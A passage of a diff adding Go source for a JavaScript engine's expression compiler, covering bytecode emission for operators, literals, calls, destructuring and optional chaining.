:= v.Body.(type) { + case *ast.BlockStatement: + strictBody = c.isStrictStatement(b) + body = b.List + case *ast.ExpressionBody: + body = []ast.Statement{ + &ast.ReturnStatement{ + Argument: b.Expression, + }, + } + default: + c.throwSyntaxError(int(b.Idx0())-1, "Unsupported ConciseBody type: %T", b) + } + r := &compiledFunctionLiteral{ + parameterList: v.ParameterList, + body: body, + source: v.Source, + declarationList: v.DeclarationList, + isExpr: true, + typ: funcArrow, + strict: strictBody, + isAsync: v.Async, + } + r.init(c, v.Idx0()) + return r +} + +func (c *compiler) emitLoadThis() { + b, eval := c.scope.lookupThis() + if b != nil { + b.emitGet() + } else { + if eval { + c.emit(getThisDynamic{}) + } else { + c.emit(loadGlobalObject) + } + } +} + +func (e *compiledThisExpr) emitGetter(putOnStack bool) { + e.addSrcMap() + e.c.emitLoadThis() + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledSuperExpr) emitGetter(putOnStack bool) { + if putOnStack { + e.c.emit(loadSuper) + } +} + +func (e *compiledNewExpr) emitGetter(putOnStack bool) { + if e.isVariadic { + e.c.emit(startVariadic) + } + e.callee.emitGetter(true) + for _, expr := range e.args { + expr.emitGetter(true) + } + e.addSrcMap() + if e.isVariadic { + e.c.emit(newVariadic, endVariadic) + } else { + e.c.emit(_new(len(e.args))) + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compileCallArgs(list []ast.Expression) (args []compiledExpr, isVariadic bool) { + args = make([]compiledExpr, len(list)) + for i, argExpr := range list { + if spread, ok := argExpr.(*ast.SpreadElement); ok { + args[i] = c.compileSpreadCallArgument(spread) + isVariadic = true + } else { + args[i] = c.compileExpression(argExpr) + } + } + return +} + +func (c *compiler) compileNewExpression(v *ast.NewExpression) compiledExpr { + args, isVariadic := c.compileCallArgs(v.ArgumentList) + r := &compiledNewExpr{ + compiledCallExpr: compiledCallExpr{ + callee: c.compileExpression(v.Callee), + args: args, + isVariadic: isVariadic, + }, + } + r.init(c, v.Idx0()) + return r +} + +func (e *compiledNewTarget) emitGetter(putOnStack bool) { + if s := e.c.scope.nearestThis(); s == nil || s.funcType == funcNone { + e.c.throwSyntaxError(e.offset, "new.target expression is not allowed here") + } + if putOnStack { + e.addSrcMap() + e.c.emit(loadNewTarget) + } +} + +func (c *compiler) compileMetaProperty(v *ast.MetaProperty) compiledExpr { + if v.Meta.Name == "new" || v.Property.Name != "target" { + r := &compiledNewTarget{} + r.init(c, v.Idx0()) + return r + } + c.throwSyntaxError(int(v.Idx)-1, "Unsupported meta property: %s.%s", v.Meta.Name, v.Property.Name) + return nil +} + +func (e *compiledSequenceExpr) emitGetter(putOnStack bool) { + if len(e.sequence) > 0 { + for i := 0; i < len(e.sequence)-1; i++ { + e.sequence[i].emitGetter(false) + } + e.sequence[len(e.sequence)-1].emitGetter(putOnStack) + } +} + +func (c *compiler) compileSequenceExpression(v *ast.SequenceExpression) compiledExpr { + s := make([]compiledExpr, len(v.Sequence)) + for i, expr := range v.Sequence { + s[i] = c.compileExpression(expr) + } + r := &compiledSequenceExpr{ + sequence: s, + } + var idx file.Idx + if len(v.Sequence) > 0 { + idx = v.Idx0() + } + r.init(c, idx) + return r +} + +func (c *compiler) emitThrow(v Value) { + if o, ok := v.(*Object); ok { + t := nilSafe(o.self.getStr("name", nil)).toString().String() + switch t { + case "TypeError", "RangeError": + c.emit(loadDynamic(t)) + msg := o.self.getStr("message", nil) + if msg != nil { + c.emitLiteralValue(msg) + c.emit(_new(1)) + } else { + c.emit(_new(0)) + } + c.emit(throw) + return + } + } + c.assert(false, 0, "unknown exception type thrown while evaluating constant expression: %s", v.String()) + panic("unreachable") +} + +func (c *compiler) emitConst(expr compiledExpr, putOnStack bool) { + v, ex := c.evalConst(expr) + if ex == nil { + if putOnStack { + c.emitLiteralValue(v) + } + } else { + c.emitThrow(ex.val) + } +} + +func (c *compiler) evalConst(expr compiledExpr) (Value, *Exception) { + if expr, ok := expr.(*compiledLiteral); ok { + return expr.val, nil + } + if c.evalVM == nil { + c.evalVM = New().vm + } + var savedPrg *Program + createdPrg := false + if c.evalVM.prg == nil { + c.evalVM.prg = &Program{ + src: c.p.src, + } + savedPrg = c.p + c.p = c.evalVM.prg + createdPrg = true + } + savedPc := len(c.p.code) + expr.emitGetter(true) + c.evalVM.pc = savedPc + ex := c.evalVM.runTry() + if createdPrg { + c.evalVM.prg = nil + c.evalVM.pc = 0 + c.p = savedPrg + } else { + c.evalVM.prg.code = c.evalVM.prg.code[:savedPc] + c.p.code = c.evalVM.prg.code + } + if ex == nil { + return c.evalVM.pop(), nil + } + return nil, ex +} + +func (e *compiledUnaryExpr) constant() bool { + return e.operand.constant() +} + +func (e *compiledUnaryExpr) emitGetter(putOnStack bool) { + var prepare, body func() + + toNumber := func() { + e.addSrcMap() + e.c.emit(toNumber) + } + + switch e.operator { + case token.NOT: + e.operand.emitGetter(true) + e.c.emit(not) + goto end + case token.BITWISE_NOT: + e.operand.emitGetter(true) + e.c.emit(bnot) + goto end + case token.TYPEOF: + if o, ok := e.operand.(compiledExprOrRef); ok { + o.emitGetterOrRef() + } else { + e.operand.emitGetter(true) + } + e.c.emit(typeof) + goto end + case token.DELETE: + e.operand.emitDelete(putOnStack) + return + case token.MINUS: + e.c.emitExpr(e.operand, true) + e.c.emit(neg) + goto end + case token.PLUS: + e.c.emitExpr(e.operand, true) + e.c.emit(plus) + goto end + case token.INCREMENT: + prepare = toNumber + body = func() { + e.c.emit(inc) + } + case token.DECREMENT: + prepare = toNumber + body = func() { + e.c.emit(dec) + } + case token.VOID: + e.c.emitExpr(e.operand, false) + if putOnStack { + e.c.emit(loadUndef) + } + return + default: + e.c.assert(false, e.offset, "Unknown unary operator: %s", e.operator.String()) + panic("unreachable") + } + + e.operand.emitUnary(prepare, body, e.postfix, putOnStack) + return + +end: + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compileUnaryExpression(v *ast.UnaryExpression) compiledExpr { + r := &compiledUnaryExpr{ + operand: c.compileExpression(v.Operand), + operator: v.Operator, + postfix: v.Postfix, + } + r.init(c, v.Idx0()) + return r +} + +func (e *compiledConditionalExpr) emitGetter(putOnStack bool) { + e.test.emitGetter(true) + j := len(e.c.p.code) + e.c.emit(nil) + e.consequent.emitGetter(putOnStack) + j1 := len(e.c.p.code) + e.c.emit(nil) + e.c.p.code[j] = jneP(len(e.c.p.code) - j) + e.alternate.emitGetter(putOnStack) + e.c.p.code[j1] = jump(len(e.c.p.code) - j1) +} + +func (c *compiler) compileConditionalExpression(v *ast.ConditionalExpression) compiledExpr { + r := &compiledConditionalExpr{ + test: c.compileExpression(v.Test), + consequent: c.compileExpression(v.Consequent), + alternate: c.compileExpression(v.Alternate), + } + r.init(c, v.Idx0()) + return r +} + +func (e *compiledLogicalOr) constant() bool { + if e.left.constant() { + if v, ex := e.c.evalConst(e.left); ex == nil { + if v.ToBoolean() { + return true + } + return e.right.constant() + } else { + return true + } + } + + return false +} + +func (e *compiledLogicalOr) emitGetter(putOnStack bool) { + if e.left.constant() { + if v, ex := e.c.evalConst(e.left); ex == nil { + if !v.ToBoolean() { + e.c.emitExpr(e.right, putOnStack) + } else { + if putOnStack { + e.c.emitLiteralValue(v) + } + } + } else { + e.c.emitThrow(ex.val) + } + return + } + e.c.emitExpr(e.left, true) + j := len(e.c.p.code) + e.addSrcMap() + e.c.emit(nil) + e.c.emitExpr(e.right, true) + e.c.p.code[j] = jeq(len(e.c.p.code) - j) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledCoalesce) constant() bool { + if e.left.constant() { + if v, ex := e.c.evalConst(e.left); ex == nil { + if v != _null && v != _undefined { + return true + } + return e.right.constant() + } else { + return true + } + } + + return false +} + +func (e *compiledCoalesce) emitGetter(putOnStack bool) { + if e.left.constant() { + if v, ex := e.c.evalConst(e.left); ex == nil { + if v == _undefined || v == _null { + e.c.emitExpr(e.right, putOnStack) + } else { + if putOnStack { + e.c.emitLiteralValue(v) + } + } + } else { + e.c.emitThrow(ex.val) + } + return + } + e.c.emitExpr(e.left, true) + j := len(e.c.p.code) + e.addSrcMap() + e.c.emit(nil) + e.c.emitExpr(e.right, true) + e.c.p.code[j] = jcoalesc(len(e.c.p.code) - j) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledLogicalAnd) constant() bool { + if e.left.constant() { + if v, ex := e.c.evalConst(e.left); ex == nil { + if !v.ToBoolean() { + return true + } else { + return e.right.constant() + } + } else { + return true + } + } + + return false +} + +func (e *compiledLogicalAnd) emitGetter(putOnStack bool) { + var j int + if e.left.constant() { + if v, ex := e.c.evalConst(e.left); ex == nil { + if !v.ToBoolean() { + e.c.emitLiteralValue(v) + } else { + e.c.emitExpr(e.right, putOnStack) + } + } else { + e.c.emitThrow(ex.val) + } + return + } + e.left.emitGetter(true) + j = len(e.c.p.code) + e.addSrcMap() + e.c.emit(nil) + e.c.emitExpr(e.right, true) + e.c.p.code[j] = jne(len(e.c.p.code) - j) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledBinaryExpr) constant() bool { + return e.left.constant() && e.right.constant() +} + +func (e *compiledBinaryExpr) emitGetter(putOnStack bool) { + e.c.emitExpr(e.left, true) + e.c.emitExpr(e.right, true) + e.addSrcMap() + + switch e.operator { + case token.LESS: + e.c.emit(op_lt) + case token.GREATER: + e.c.emit(op_gt) + case token.LESS_OR_EQUAL: + e.c.emit(op_lte) + case token.GREATER_OR_EQUAL: + e.c.emit(op_gte) + case token.EQUAL: + e.c.emit(op_eq) + case token.NOT_EQUAL: + e.c.emit(op_neq) + case token.STRICT_EQUAL: + e.c.emit(op_strict_eq) + case token.STRICT_NOT_EQUAL: + e.c.emit(op_strict_neq) + case token.PLUS: + e.c.emit(add) + case token.MINUS: + e.c.emit(sub) + case token.MULTIPLY: + e.c.emit(mul) + case token.EXPONENT: + e.c.emit(exp) + case token.SLASH: + e.c.emit(div) + case token.REMAINDER: + e.c.emit(mod) + case token.AND: + e.c.emit(and) + case token.OR: + e.c.emit(or) + case token.EXCLUSIVE_OR: + e.c.emit(xor) + case token.INSTANCEOF: + e.c.emit(op_instanceof) + case token.IN: + e.c.emit(op_in) + case token.SHIFT_LEFT: + e.c.emit(sal) + case token.SHIFT_RIGHT: + e.c.emit(sar) + case token.UNSIGNED_SHIFT_RIGHT: + e.c.emit(shr) + default: + e.c.assert(false, e.offset, "Unknown operator: %s", e.operator.String()) + panic("unreachable") + } + + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compileBinaryExpression(v *ast.BinaryExpression) compiledExpr { + + switch v.Operator { + case token.LOGICAL_OR: + return c.compileLogicalOr(v.Left, v.Right, v.Idx0()) + case token.COALESCE: + return c.compileCoalesce(v.Left, v.Right, v.Idx0()) + case token.LOGICAL_AND: + return c.compileLogicalAnd(v.Left, v.Right, v.Idx0()) + } + + if id, ok := v.Left.(*ast.PrivateIdentifier); ok { + return c.compilePrivateIn(id, v.Right, id.Idx) + } + + r := &compiledBinaryExpr{ + left: c.compileExpression(v.Left), + right: c.compileExpression(v.Right), + operator: v.Operator, + } + r.init(c, v.Idx0()) + return r +} + +type compiledPrivateIn struct { + baseCompiledExpr + id unistring.String + right compiledExpr +} + +func (e *compiledPrivateIn) emitGetter(putOnStack bool) { + e.right.emitGetter(true) + rn, id := e.c.resolvePrivateName(e.id, e.offset) + if rn != nil { + e.c.emit((*privateInRes)(rn)) + } else { + e.c.emit((*privateInId)(id)) + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compilePrivateIn(id *ast.PrivateIdentifier, right ast.Expression, idx file.Idx) compiledExpr { + r := &compiledPrivateIn{ + id: id.Name, + right: c.compileExpression(right), + } + r.init(c, idx) + return r +} + +func (c *compiler) compileLogicalOr(left, right ast.Expression, idx file.Idx) compiledExpr { + r := &compiledLogicalOr{ + left: c.compileExpression(left), + right: c.compileExpression(right), + } + r.init(c, idx) + return r +} + +func (c *compiler) compileCoalesce(left, right ast.Expression, idx file.Idx) compiledExpr { + r := &compiledCoalesce{ + left: c.compileExpression(left), + right: c.compileExpression(right), + } + r.init(c, idx) + return r +} + +func (c *compiler) compileLogicalAnd(left, right ast.Expression, idx file.Idx) compiledExpr { + r := &compiledLogicalAnd{ + left: c.compileExpression(left), + right: c.compileExpression(right), + } + r.init(c, idx) + return r +} + +func (e *compiledObjectLiteral) emitGetter(putOnStack bool) { + e.addSrcMap() + e.c.emit(newObject) + hasProto := false + for _, prop := range e.expr.Value { + switch prop := prop.(type) { + case *ast.PropertyKeyed: + key, computed := e.c.processKey(prop.Key) + valueExpr := e.c.compileExpression(prop.Value) + var ne namedEmitter + if fn, ok := valueExpr.(*compiledFunctionLiteral); ok { + if fn.name == nil { + ne = fn + } + switch prop.Kind { + case ast.PropertyKindMethod, ast.PropertyKindGet, ast.PropertyKindSet: + fn.typ = funcMethod + if computed { + fn.homeObjOffset = 2 + } else { + fn.homeObjOffset = 1 + } + } + } else if v, ok := valueExpr.(namedEmitter); ok { + ne = v + } + if computed { + e.c.emit(_toPropertyKey{}) + e.c.emitExpr(valueExpr, true) + switch prop.Kind { + case ast.PropertyKindValue: + if ne != nil { + e.c.emit(setElem1Named) + } else { + e.c.emit(setElem1) + } + case ast.PropertyKindMethod: + e.c.emit(&defineMethod{enumerable: true}) + case ast.PropertyKindGet: + e.c.emit(&defineGetter{enumerable: true}) + case ast.PropertyKindSet: + e.c.emit(&defineSetter{enumerable: true}) + default: + e.c.assert(false, e.offset, "unknown property kind: %s", prop.Kind) + panic("unreachable") + } + } else { + isProto := key == __proto__ && !prop.Computed + if isProto { + if hasProto { + e.c.throwSyntaxError(int(prop.Idx0())-1, "Duplicate __proto__ fields are not allowed in object literals") + } else { + hasProto = true + } + } + if ne != nil && !isProto { + ne.emitNamed(key) + } else { + e.c.emitExpr(valueExpr, true) + } + switch prop.Kind { + case ast.PropertyKindValue: + if isProto { + e.c.emit(setProto) + } else { + e.c.emit(putProp(key)) + } + case ast.PropertyKindMethod: + e.c.emit(&defineMethodKeyed{key: key, enumerable: true}) + case ast.PropertyKindGet: + e.c.emit(&defineGetterKeyed{key: key, enumerable: true}) + case ast.PropertyKindSet: + e.c.emit(&defineSetterKeyed{key: key, enumerable: true}) + default: + e.c.assert(false, e.offset, "unknown property kind: %s", prop.Kind) + panic("unreachable") + } + } + case *ast.PropertyShort: + key := prop.Name.Name + if prop.Initializer != nil { + e.c.throwSyntaxError(int(prop.Initializer.Idx0())-1, "Invalid shorthand property initializer") + } + if e.c.scope.strict && key == "let" { + e.c.throwSyntaxError(e.offset, "'let' cannot be used as a shorthand property in strict mode") + } + e.c.compileIdentifierExpression(&prop.Name).emitGetter(true) + e.c.emit(putProp(key)) + case *ast.SpreadElement: + e.c.compileExpression(prop.Expression).emitGetter(true) + e.c.emit(copySpread) + default: + e.c.assert(false, e.offset, "unknown Property type: %T", prop) + panic("unreachable") + } + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compileObjectLiteral(v *ast.ObjectLiteral) compiledExpr { + r := &compiledObjectLiteral{ + expr: v, + } + r.init(c, v.Idx0()) + return r +} + +func (e *compiledArrayLiteral) emitGetter(putOnStack bool) { + e.addSrcMap() + hasSpread := false + mark := len(e.c.p.code) + e.c.emit(nil) + for _, v := range e.expr.Value { + if spread, ok := v.(*ast.SpreadElement); ok { + hasSpread = true + e.c.compileExpression(spread.Expression).emitGetter(true) + e.c.emit(pushArraySpread) + } else { + if v != nil { + e.c.emitExpr(e.c.compileExpression(v), true) + } else { + e.c.emit(loadNil) + } + e.c.emit(pushArrayItem) + } + } + var objCount uint32 + if !hasSpread { + objCount = uint32(len(e.expr.Value)) + } + e.c.p.code[mark] = newArray(objCount) + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compileArrayLiteral(v *ast.ArrayLiteral) compiledExpr { + r := &compiledArrayLiteral{ + expr: v, + } + r.init(c, v.Idx0()) + return r +} + +func (e *compiledRegexpLiteral) emitGetter(putOnStack bool) { + if putOnStack { + pattern, err := compileRegexp(e.expr.Pattern, e.expr.Flags) + if err != nil { + e.c.throwSyntaxError(e.offset, err.Error()) + } + + e.c.emit(&newRegexp{pattern: pattern, src: newStringValue(e.expr.Pattern)}) + } +} + +func (c *compiler) compileRegexpLiteral(v *ast.RegExpLiteral) compiledExpr { + r := &compiledRegexpLiteral{ + expr: v, + } + r.init(c, v.Idx0()) + return r +} + +func (c *compiler) emitCallee(callee compiledExpr) (calleeName unistring.String) { + switch callee := callee.(type) { + case *compiledDotExpr: + callee.left.emitGetter(true) + c.emit(getPropCallee(callee.name)) + case *compiledPrivateDotExpr: + callee.left.emitGetter(true) + rn, id := c.resolvePrivateName(callee.name, callee.offset) + if rn != nil { + c.emit((*getPrivatePropResCallee)(rn)) + } else { + c.emit((*getPrivatePropIdCallee)(id)) + } + case *compiledSuperDotExpr: + c.emitLoadThis() + c.emit(loadSuper) + c.emit(getPropRecvCallee(callee.name)) + case *compiledBracketExpr: + callee.left.emitGetter(true) + callee.member.emitGetter(true) + c.emit(getElemCallee) + case *compiledSuperBracketExpr: + c.emitLoadThis() + c.emit(loadSuper) + callee.member.emitGetter(true) + c.emit(getElemRecvCallee) + case *compiledIdentifierExpr: + calleeName = callee.name + callee.emitGetterAndCallee() + case *compiledOptionalChain: + c.startOptChain() + c.emitCallee(callee.expr) + c.endOptChain() + case *compiledOptional: + c.emitCallee(callee.expr) + c.block.conts = append(c.block.conts, len(c.p.code)) + c.emit(nil) + case *compiledSuperExpr: + // no-op + default: + c.emit(loadUndef) + callee.emitGetter(true) + } + return +} + +func (e *compiledCallExpr) emitGetter(putOnStack bool) { + if e.isVariadic { + e.c.emit(startVariadic) + } + calleeName := e.c.emitCallee(e.callee) + + for _, expr := range e.args { + expr.emitGetter(true) + } + + e.addSrcMap() + if _, ok := e.callee.(*compiledSuperExpr); ok { + b, eval := e.c.scope.lookupThis() + e.c.assert(eval || b != nil, e.offset, "super call, but no 'this' binding") + if eval { + e.c.emit(resolveThisDynamic{}) + } else { + b.markAccessPoint() + e.c.emit(resolveThisStack{}) + } + if e.isVariadic { + e.c.emit(superCallVariadic) + } else { + e.c.emit(superCall(len(e.args))) + } + } else if calleeName == "eval" { + foundVar := false + for sc := e.c.scope; sc != nil; sc = sc.outer { + if !foundVar && (sc.variable || sc.isFunction()) { + foundVar = true + if !sc.strict { + sc.dynamic = true + } + } + sc.dynLookup = true + } + + if e.c.scope.strict { + if e.isVariadic { + e.c.emit(callEvalVariadicStrict) + } else { + e.c.emit(callEvalStrict(len(e.args))) + } + } else { + if e.isVariadic { + e.c.emit(callEvalVariadic) + } else { + e.c.emit(callEval(len(e.args))) + } + } + } else { + if e.isVariadic { + e.c.emit(callVariadic) + } else { + e.c.emit(call(len(e.args))) + } + } + if e.isVariadic { + e.c.emit(endVariadic) + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledCallExpr) emitDelete(putOnStack bool) { + e.emitGetter(false) + if putOnStack { + e.addSrcMap() + e.c.emitLiteralValue(valueTrue) + } +} + +func (c *compiler) compileSpreadCallArgument(spread *ast.SpreadElement) compiledExpr { + r := &compiledSpreadCallArgument{ + expr: c.compileExpression(spread.Expression), + } + r.init(c, spread.Idx0()) + return r +} + +func (c *compiler) compileCallee(v ast.Expression) compiledExpr { + if sup, ok := v.(*ast.SuperExpression); ok { + if s := c.scope.nearestThis(); s != nil && s.funcType == funcDerivedCtor { + e := &compiledSuperExpr{} + e.init(c, sup.Idx) + return e + } + c.throwSyntaxError(int(v.Idx0())-1, "'super' keyword unexpected here") + panic("unreachable") + } + return c.compileExpression(v) +} + +func (c *compiler) compileCallExpression(v *ast.CallExpression) compiledExpr { + + args := make([]compiledExpr, len(v.ArgumentList)) + isVariadic := false + for i, argExpr := range v.ArgumentList { + if spread, ok := argExpr.(*ast.SpreadElement); ok { + args[i] = c.compileSpreadCallArgument(spread) + isVariadic = true + } else { + args[i] = c.compileExpression(argExpr) + } + } + + r := &compiledCallExpr{ + args: args, + callee: c.compileCallee(v.Callee), + isVariadic: isVariadic, + } + r.init(c, v.LeftParenthesis) + return r +} + +func (c *compiler) compileIdentifierExpression(v *ast.Identifier) compiledExpr { + if c.scope.strict { + c.checkIdentifierName(v.Name, int(v.Idx)-1) + } + + r := &compiledIdentifierExpr{ + name: v.Name, + } + r.offset = int(v.Idx) - 1 + r.init(c, v.Idx0()) + return r +} + +func (c *compiler) compileNumberLiteral(v *ast.NumberLiteral) compiledExpr { + if c.scope.strict && len(v.Literal) > 1 && v.Literal[0] == '0' && v.Literal[1] <= '7' && v.Literal[1] >= '0' { + c.throwSyntaxError(int(v.Idx)-1, "Octal literals are not allowed in strict mode") + panic("Unreachable") + } + var val Value + switch num := v.Value.(type) { + case int64: + val = intToValue(num) + case float64: + val = floatToValue(num) + case *big.Int: + val = (*valueBigInt)(num) + default: + c.assert(false, int(v.Idx)-1, "Unsupported number literal type: %T", v.Value) + panic("unreachable") + } + r := &compiledLiteral{ + val: val, + } + r.init(c, v.Idx0()) + return r +} + +func (c *compiler) compileStringLiteral(v *ast.StringLiteral) compiledExpr { + r := &compiledLiteral{ + val: stringValueFromRaw(v.Value), + } + r.init(c, v.Idx0()) + return r +} + +func (c *compiler) compileTemplateLiteral(v *ast.TemplateLiteral) compiledExpr { + r := &compiledTemplateLiteral{} + if v.Tag != nil { + r.tag = c.compileExpression(v.Tag) + } + ce := make([]compiledExpr, len(v.Expressions)) + for i, expr := range v.Expressions { + ce[i] = c.compileExpression(expr) + } + r.expressions = ce + r.elements = v.Elements + r.init(c, v.Idx0()) + return r +} + +func (c *compiler) compileBooleanLiteral(v *ast.BooleanLiteral) compiledExpr { + var val Value + if v.Value { + val = valueTrue + } else { + val = valueFalse + } + + r := &compiledLiteral{ + val: val, + } + r.init(c, v.Idx0()) + return r +} + +func (c *compiler) compileAssignExpression(v *ast.AssignExpression) compiledExpr { + // log.Printf("compileAssignExpression(): %+v", v) + + r := &compiledAssignExpr{ + left: c.compileExpression(v.Left), + right: c.compileExpression(v.Right), + operator: v.Operator, + } + r.init(c, v.Idx0()) + return r +} + +func (e *compiledEnumGetExpr) emitGetter(putOnStack bool) { + e.c.emit(enumGet) + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compileObjectAssignmentPattern(v *ast.ObjectPattern) compiledExpr { + r := &compiledObjectAssignmentPattern{ + expr: v, + } + r.init(c, v.Idx0()) + return r +} + +func (e *compiledObjectAssignmentPattern) emitGetter(putOnStack bool) { + if putOnStack { + e.c.emit(loadUndef) + } +} + +func (c *compiler) compileArrayAssignmentPattern(v *ast.ArrayPattern) compiledExpr { + r := &compiledArrayAssignmentPattern{ + expr: v, + } + r.init(c, v.Idx0()) + return r +} + +func (e *compiledArrayAssignmentPattern) emitGetter(putOnStack bool) { + if putOnStack { + e.c.emit(loadUndef) + } +} + +func (c *compiler) emitExpr(expr compiledExpr, putOnStack bool) { + if expr.constant() { + c.emitConst(expr, putOnStack) + } else { + expr.emitGetter(putOnStack) + } +} + +type namedEmitter interface { + emitNamed(name unistring.String) +} + +func (c *compiler) emitNamed(expr compiledExpr, name unistring.String) { + if en, ok := expr.(namedEmitter); ok { + en.emitNamed(name) + } else { + expr.emitGetter(true) + } +} + +func (c *compiler) emitNamedOrConst(expr compiledExpr, name unistring.String) { + if expr.constant() { + c.emitConst(expr, true) + } else { + c.emitNamed(expr, name) + } +} + +func (e *compiledFunctionLiteral) emitNamed(name unistring.String) { + e.lhsName = name + e.emitGetter(true) +} + +func (e *compiledClassLiteral) emitNamed(name unistring.String) { + e.lhsName = name + e.emitGetter(true) +} + +func (c *compiler) emitPattern(pattern ast.Pattern, emitter func(target, init compiledExpr), putOnStack bool) { + switch pattern := pattern.(type) { + case *ast.ObjectPattern: + c.emitObjectPattern(pattern, emitter, putOnStack) + case *ast.ArrayPattern: + c.emitArrayPattern(pattern, emitter, putOnStack) + default: + c.assert(false, int(pattern.Idx0())-1, "unsupported Pattern: %T", pattern) + panic("unreachable") + } +} + +func (c *compiler) emitAssign(target ast.Expression, init compiledExpr, emitAssignSimple func(target, init compiledExpr)) { + pattern, isPattern := target.(ast.Pattern) + if isPattern { + init.emitGetter(true) + c.emitPattern(pattern, emitAssignSimple, false) + } else { + emitAssignSimple(c.compileExpression(target), init) + } +} + +func (c *compiler) emitObjectPattern(pattern *ast.ObjectPattern, emitAssign func(target, init compiledExpr), putOnStack bool) { + if pattern.Rest != nil { + c.emit(createDestructSrc) + } else { + c.emit(checkObjectCoercible) + } + for _, prop := range pattern.Properties { + switch prop := prop.(type) { + case *ast.PropertyShort: + c.emit(dup) + emitAssign(c.compileIdentifierExpression(&prop.Name), c.compilePatternInitExpr(func() { + c.emit(getProp(prop.Name.Name)) + }, prop.Initializer, prop.Idx0())) + case *ast.PropertyKeyed: + c.emit(dup) + c.compileExpression(prop.Key).emitGetter(true) + c.emit(_toPropertyKey{}) + var target ast.Expression + var initializer ast.Expression + if e, ok := prop.Value.(*ast.AssignExpression); ok { + target = e.Left + initializer = e.Right + } else { + target = prop.Value + } + c.emitAssign(target, c.compilePatternInitExpr(func() { + c.emit(getKey) + }, initializer, prop.Idx0()), emitAssign) + default: + c.throwSyntaxError(int(prop.Idx0()-1), "Unsupported AssignmentProperty type: %T", prop) + } + } + if pattern.Rest != nil { + emitAssign(c.compileExpression(pattern.Rest), c.compileEmitterExpr(func() { + c.emit(copyRest) + }, pattern.Rest.Idx0())) + c.emit(pop) + } + if !putOnStack { + c.emit(pop) + } +} + +func (c *compiler) emitArrayPattern(pattern *ast.ArrayPattern, emitAssign func(target, init compiledExpr), putOnStack bool) { + c.emit(iterate) + for _, elt := range pattern.Elements { + switch elt := elt.(type) { + case nil: + c.emit(iterGetNextOrUndef{}, pop) + case *ast.AssignExpression: + c.emitAssign(elt.Left, c.compilePatternInitExpr(func() { + c.emit(iterGetNextOrUndef{}) + }, elt.Right, elt.Idx0()), emitAssign) + default: + c.emitAssign(elt, c.compileEmitterExpr(func() { + c.emit(iterGetNextOrUndef{}) + }, elt.Idx0()), emitAssign) + } + } + if pattern.Rest != nil { + c.emitAssign(pattern.Rest, c.compileEmitterExpr(func() { + c.emit(newArrayFromIter) + }, pattern.Rest.Idx0()), emitAssign) + } else { + c.emit(enumPopClose) + } + + if !putOnStack { + c.emit(pop) + } +} + +func (e *compiledObjectAssignmentPattern) emitSetter(valueExpr compiledExpr, putOnStack bool) { + valueExpr.emitGetter(true) + e.c.emitObjectPattern(e.expr, e.c.emitPatternAssign, putOnStack) +} + +func (e *compiledArrayAssignmentPattern) emitSetter(valueExpr compiledExpr, putOnStack bool) { + valueExpr.emitGetter(true) + e.c.emitArrayPattern(e.expr, e.c.emitPatternAssign, putOnStack) +} + +type compiledPatternInitExpr struct { + baseCompiledExpr + emitSrc func() + def compiledExpr +} + +func (e *compiledPatternInitExpr) emitGetter(putOnStack bool) { + if !putOnStack { + return + } + e.emitSrc() + if e.def != nil { + mark := len(e.c.p.code) + e.c.emit(nil) + e.c.emitExpr(e.def, true) + e.c.p.code[mark] = jdef(len(e.c.p.code) - mark) + } +} + +func (e *compiledPatternInitExpr) emitNamed(name unistring.String) { + e.emitSrc() + if e.def != nil { + mark := len(e.c.p.code) + e.c.emit(nil) + e.c.emitNamedOrConst(e.def, name) + e.c.p.code[mark] = jdef(len(e.c.p.code) - mark) + } +} + +func (c *compiler) compilePatternInitExpr(emitSrc func(), def ast.Expression, idx file.Idx) compiledExpr { + r := &compiledPatternInitExpr{ + emitSrc: emitSrc, + def: c.compileExpression(def), + } + r.init(c, idx) + return r +} + +type compiledEmitterExpr struct { + baseCompiledExpr + emitter func() + namedEmitter func(name unistring.String) +} + +func (e *compiledEmitterExpr) emitGetter(putOnStack bool) { + if e.emitter != nil { + e.emitter() + } else { + e.namedEmitter("") + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledEmitterExpr) emitNamed(name unistring.String) { + if e.namedEmitter != nil { + e.namedEmitter(name) + } else { + e.emitter() + } +} + +func (c *compiler) compileEmitterExpr(emitter func(), idx file.Idx) *compiledEmitterExpr { + r := &compiledEmitterExpr{ + emitter: emitter, + } + r.init(c, idx) + return r +} + +func (e *compiledSpreadCallArgument) emitGetter(putOnStack bool) { + e.expr.emitGetter(putOnStack) + if putOnStack { + e.c.emit(pushSpread) + } +} + +func (c *compiler) startOptChain() { + c.block = &block{ + typ: blockOptChain, + outer: c.block, + } +} + +func (c *compiler) endOptChain() { + lbl := len(c.p.code) + for _, item := range c.block.breaks { + c.p.code[item] = jopt(lbl - item) + } + for _, item := range c.block.conts { + c.p.code[item] = joptc(lbl - item) + } + c.block = c.block.outer +} + +func (c *compiler) endOptChainDelete() { + lbl := len(c.p.code) + for _, item := range c.block.breaks { + c.p.code[item] = joptdel(lbl - item) + } + for _, item := range c.block.conts { + c.p.code[item] = joptdelc(lbl - item) + } + c.block = c.block.outer +} + +func (c *compiler) endOptChainDeleteP() { + lbl := len(c.p.code) + for _, item := range c.block.breaks { + c.p.code[item] = joptdelP(lbl - item) + } + for _, item := range c.block.conts { + c.p.code[item] = joptdelcP(lbl - item) + } + c.block = c.block.outer +} + +func (e *compiledOptionalChain) emitGetter(putOnStack bool) { + e.c.startOptChain() + e.expr.emitGetter(true) + e.c.endOptChain() + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledOptionalChain) emitDelete(putOnStack bool) { + e.c.startOptChain() + e.expr.emitDelete(putOnStack) + if putOnStack { + e.c.endOptChainDelete() + } else { + e.c.endOptChainDeleteP() + } +} + +func (e *compiledOptional) emitGetter(putOnStack bool) { + e.expr.emitGetter(putOnStack) + if putOnStack { + e.c.block.breaks = 